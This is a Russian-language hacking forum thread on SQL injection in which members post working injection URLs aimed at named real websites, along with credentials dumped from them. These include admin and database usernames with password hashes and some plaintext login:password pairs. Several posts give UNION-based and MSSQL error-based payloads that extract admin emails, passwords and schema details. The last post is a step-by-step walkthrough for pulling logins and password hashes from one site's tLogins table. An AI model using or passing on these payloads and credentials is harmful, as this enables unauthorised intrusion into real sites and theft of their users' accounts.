SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    http://www.preproject.com/news%20manager/admin/view_news.php?catid=[sql]
    http://www.preproject.com/news%20manager/index.php?id=[sql]
    ps скуля в демо двиге!
     
    1 person likes this.
  2. symbioin

    symbioin Member

    Joined:
    6 Aug 2007
    Messages:
    62
    Likes Received:
    23
    Reputations:
    -16
    http://auction.ua/auctions/one.htm?parent=-3242
     
  3. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    Kumama:04f83a9025d99b309b427d9bde172fb7
    Stiltzkin:4e25f9875fd790f28dfc8e97da43aece:SailorV8
    mognet.net/admin
    mognet.net/forum/admin
     
    2 people like this.
  4. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    user: [email protected]
    db: astrey
    version: 4.0.27

    root0bcb2a3b366d4f3c
    site5187d56e009fb910


    Хэши не сбручены, но поставлены в очередь на hashcracking.info
     
    2 people like this.
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Code:
    http://www.itsecurityportal.com/itsecurity_directory.asp?SearchString=a%')+and+1=@@version--
    Code:
    http://www.itsecurityportal.com/itsecurity_job_detail.asp?jobid=111+and+1=@@version
    на серве несколько сайтов, все они узявимы в этих сриптах, единственное что, это меняется самый первый префикс, в зависимости от имени сайта
     
    4 people like this.
  6. XJIOP

    XJIOP Elder - Старейшина

    Joined:
    23 Mar 2005
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    Blind SQL/XPath injection for numeric inputs
    http://www.video24.ru:80/PasswordRecovery.aspx

    request data (post или get хз)
    Code:
    [email protected]&[email protected]&__VIEWSTATE=%2FwEPDw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F0LDQtNC10L3QuNC1INC90LAgMTMt0Lkg0YPRh9Cw0YHRgtC%2B0LoDNTQ4AzU0OCzQndCw0L%2FQsNC00LXQvdC40LUg0L3QsCAxMy3QuSDRg9GH0LDRgdGC0L7QugM1NDgs0J3QsNC%2F0LDQtNC10L3QuNC1INC90LAgMTMt0Lkg0YPRh9Cw0YHRgtC%2B0LoDNTQ4AzU0OAk0OSDRgNGD0LEJNDkg0YDRg9CxZAIID2QWAmYPFQsAJdCR0L7QuSDRgSDRgtC10L3RjNGOIDIgLSDQoNC10LLQsNC90YgCNDkCNDkl0JHQvtC5INGBINGC0LXQvdGM0Y4gMiAtINCg0LXQstCw0L3RiAI0OSXQkdC%2B0Lkg0YEg0YLQtdC90YzRjiAyIC0g0KDQtdCy0LDQvdGIAjQ5AjQ5CTQ5INGA0YPQsQk0OSDRgNGD0LFkAgkPZBYCZg8VCwRIaWdoH9Cg0L7QutC%2B0LLQsNGPINC60YDQsNGB0L7RgtC60LADNTI1AzUyNR%2FQoNC%2B0LrQvtCy0LDRjyDQutGA0LDRgdC%2B0YLQutCwAzUyNR%2FQoNC%2B0LrQvtCy0LDRjyDQutGA0LDRgdC%2B0YLQutCwAzUyNQM1MjUJNDkg0YDRg9CxCTQ5INGA0YPQsWQCCQ9kFgJmDxBkZBYAZAIKD2QWBGYPFgIfAWVkAgEPFgIfAWVkAgsPDxYCHwRnZGQCDA8PFgIfBGhkZAINDw8WBB8BBRLQmtC40L3QvtGC0LXQsNGC0YAeC05hdmlnYXRlVXJsBRhodHRwOi8vY2luZW1hLmxvY2FsaG9zdC9kZBgBBR9jdGwwMCRjcGhDb250ZW50JE11bHRpVmlld0Zvcm1zDw9kZmSgE12fR%2FaXraHX3N%2FRHjIlWVF1Dw%3D%3D&[email protected]&ctl00%[email protected]+and+1%3D0&ctl00%24cphContent%[email protected]&ctl00%24cphContent%24ctrlCaptcha%[email protected]&ctl00%24cphContent%[email protected]&__EVENTVALIDATION=%2FwEWCAKL55VmAsCH3ZkDAp3575QBAvTb06MHApf5r%2BgPAvKJmnkCvb2C%2BQkC9qacmAFWO%2BU%2BG8WwJuHrrDX%2BErr05%2B2fSQ%3D%3D
    
     
  7. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    это чтото вроде админов или модеров но админку не нашёл ..
    FrOz!:romanroman
    FrA:mg2ymu
     
  8. Momiji

    Momiji Elder - Старейшина

    Joined:
    25 Aug 2007
    Messages:
    495
    Likes Received:
    348
    Reputations:
    127
    http://www.break-dance.it/pagine/italiano/community/log.php
     
  9. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    помогите составить запрос, инекция после order и limit

    SELECT p.*, a.id AS agentid, a.name AS agent, a.user AS user, c.name AS company, c.id AS companyid, t.name AS type, p.type AS typeid
    FROM mos_hp_properties AS p, mos_hp_companies AS c
    LEFT JOIN mos_hp_agents AS a ON p.agent = a.id
    LEFT JOIN mos_hp_prop_types AS t ON p.type = t.id
    LEFT JOIN mos_hp_featured AS f ON f.property = p.id
    WHERE p.published='1' AND p.approved='1' AND t.published='1'
    AND a.company=c.id
    AND (publish_up = '0000-00-00 00:00:00' OR publish_up <= NOW())
    AND (publish_down = '0000-00-00 00:00:00' OR publish_down >= NOW())
    AND (p.name LIKE '%1%' OR p.address LIKE '%1%' OR p.suburb LIKE '%1%'
    OR p.state LIKE '%1%' OR p.country LIKE '%1%' OR p.intro_text LIKE '%1%'
    OR p.full_text LIKE '%1%')
    AND p.type=1
    ORDER BY p.price asc
    LIMIT [sql]
     
  10. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    После ORDER и LIMIT можно попробовать INTO OUTFILE '/path/to/file'
     
  11. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    хз вроде движок какого-то онлайн магазина:

    Code:
    http://www.odissey.kiev.ua/index.php?fullnews=-1+union+select+1,2,3,4,5/*
    Code:
    http://shop.ghettostreet.ru/index.php?fullnews=-1+union+select+1,2,3,4,5/*
    админка по адресу хттп://сайт/admin/
     
    3 people like this.
  12. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    http://www.macspeech.com/
    Code:
    http://www.macspeech.com/pages.php?pID=-1+union+select+concat(admin_email_address,0x3a,admin_password)+from+admin/*
    PR: 7
     
    3 people like this.
  13. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://www.filmthreat.com/index.php?section=reviews&Id=9999999999999'/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,concat_ws(0x3a,user,password),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+mysql.user+limit+0,1/*
    5.0.27
    by admin:4ba58ad82e059055

    Code:
    http://innovateonline.info/index.php?view=article&id=999999999/**/UNION/**/SELECT/**/version()/*
    5.0.24a-community-nt
     
    1 person likes this.
  14. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Code:
    https://www.lina2.ru/clans/index.php?showclan=-1+union+select+login,password+from+accounts/*
    login:pass

    парль зашифрован

    base64_encode(pack('H*'sha1($apss)))

    Схема БД(спасибо Scipio):

    Code:
    http://www.lina2.ru/clans/index.php?showclan=-268520741+union+select+concat(table_schema,0x3a,ta  ble_name,0x3a,column_name),null+from+information_s  chema.columns+where+table_schema+like+0x6C3225/*
     
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    4.1.20-log
    кроме таблы news - ничего не нашёл .. пробил на 450 табл ..
     
  16. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    mccormick-intl.com
    acieap.com
    annclarkassociates.com
    afoundation.org.uk
    picoworld.com
    petees.com
     
  17. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://rus.gflora.com/index.php?cmd=genus_body&genus_id=999999999/**/UNION/**/SELECT/**/concat_ws(0x3a,user,password),2,3,4,5,6,7,8,9,10,11+from+mysql.user/*
    root:*2825BE681C6102A9313382FB2405D76868BE5F32
     
    #5317 bag, 25 Apr 2008
    Last edited: 25 Apr 2008
    1 person likes this.
  18. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    кавычки экранируются слешем, ничего путного у меня не выходит(
    может быть вы поможете?
    функция char() отключена
     
    1 person likes this.
  19. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    imajo.ati

    Там MSSQL т.е у тебя запрос изначально не верен
    Вот версия
    _http://kb.arena.ru/kill.php?char=nickname'%20or%201=@@version--
    Дальше сам если надо

    P.s Вопросы сдесь
    _https://forum.antichat.ru/thread46016.html
     
    1 person likes this.
  20. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    Code:
    http://kb.arena.ru/kill.php?char=1'%20or%201=(select+top+1+table_name+from+information_schema.tables)--
    Получаем имя первой таблицы, через not+in+() получаем имена остальных таблиц, но так как стоит фильтр, то имена нужно кодировать, очень помог в этом Universal char SQL encoder by [53x]Shadow!

    Таким образом находим таблицу tLogins, колонки стандартные - login, password, id.

    Выводим результат:

    Code:
    http://kb.arena.ru/kill.php?char=1'%20or%201=(select+top+1+cast(login+as+nvarchar)%2Bcast(password+as+nvarchar)+from+tLogins)--
    Логин и пароль сливаются, мускул ругается на +, ну впринцыпе и так покатит;)

    Так как все символы хэша не выводятся, сначала выводим первые 30, а потом с помощью команды substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length, выводим недостающие 2 символа:

    Code:
    http://kb.arena.ru/kill.php?char=1'%20or%201=(select+top+1+cast(login+as+nvarchar)%2Bcast(substring(password,2,2)+as+nvarchar)+from+tLogins)--
    Перебирать логины через where+id=... у меня не получилось, опять ругается мускул, альтернатива: +where+login+not+in(), логины опять же кодируем.

    The End.
     
    1 person likes this.
Thread Status:
Not open for further replies.